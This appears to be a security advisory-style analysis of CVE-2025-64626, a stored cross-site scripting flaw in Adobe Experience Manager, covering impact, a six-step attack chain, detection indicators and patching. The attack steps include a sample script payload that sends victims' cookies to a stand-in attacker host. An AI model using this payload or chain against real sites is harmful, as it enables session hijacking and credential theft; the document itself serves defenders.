CVE-2025-64626: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64626 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (fixed in 6.5.24.0) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, with Adobe releasing the advisory (APSB25-115) the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged, network-accessible attacker can inject malicious JavaScript into vulnerable AEM form fields; the payload is stored server-side and executes in a victim's browser when they navigate to the page containing the affected field. Exploitation requires user interaction (a victim browsing the compromised page) and low privileges on the AEM instance, with the scope changed to affect the victim's browser context. Attack patterns include stored XSS (CAPEC-592) and DOM-based XSS (CAPEC-588) (Adobe Advisory, ENISA EUVD).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session on the AEM instance, potentially leading to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, and exfiltration of sensitive data accessible to the victim's account. The confidentiality and integrity impacts are rated low, with no direct availability impact, but the changed scope means the attack can affect users beyond the attacker's own session. In enterprise AEM deployments, this could facilitate further lateral movement if administrative users are targeted.

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using network scanning or web fingerprinting tools.
2. Obtain low-privileged access: Register or obtain a low-privileged user account on the target AEM instance (e.g., a contributor or author account).
3. Identify vulnerable form fields: Navigate AEM authoring interfaces to locate form fields that do not properly sanitize user input before storing and rendering it.
4. Inject malicious payload: Submit a crafted stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save the content.
5. Trigger victim execution: Lure a higher-privileged user (e.g., an AEM administrator) to browse the page containing the injected payload, causing the malicious script to execute in their browser context.
6. Harvest results: Collect stolen session tokens, credentials, or other sensitive data from the attacker-controlled server to enable further unauthorized access (Adobe Advisory).

• Logs: AEM access logs showing POST requests to authoring/form endpoints containing encoded script tags or JavaScript event handlers (e.g., %3Cscript%3E, onerror=, onload=) from low-privileged user accounts.
• Network: Outbound HTTP/S requests from victim browsers to unexpected external domains shortly after accessing AEM content pages, potentially carrying cookie or session data as query parameters.
• File System / Content Repository: Unexpected JavaScript content stored within AEM JCR nodes or page components, particularly in fields not intended to contain script markup.
• Process/Application: AEM error logs showing XSS filter bypass attempts or unexpected rendering of <script> tags in page output.

Adobe has released patches addressing CVE-2025-64626 in AEM 6.5.24.0 (for on-premise/LTS deployments) and AEM Cloud Service 2025.12.0. Organizations should upgrade to these versions immediately. As a temporary workaround, restrict authoring access to trusted users only and enable AEM's built-in XSS protection filters. Review and audit stored content in AEM for unexpected script injections. (Adobe Advisory, Tenable).

The Center for Internet Security (CIS) issued an advisory noting multiple vulnerabilities in Adobe products, including this XSS issue, could allow for arbitrary code execution in broader attack chains (CIS Advisory). Tenable published a detection plugin (278346) for the vulnerability shortly after disclosure. No significant independent researcher commentary or social media discussion has been identified for this specific CVE.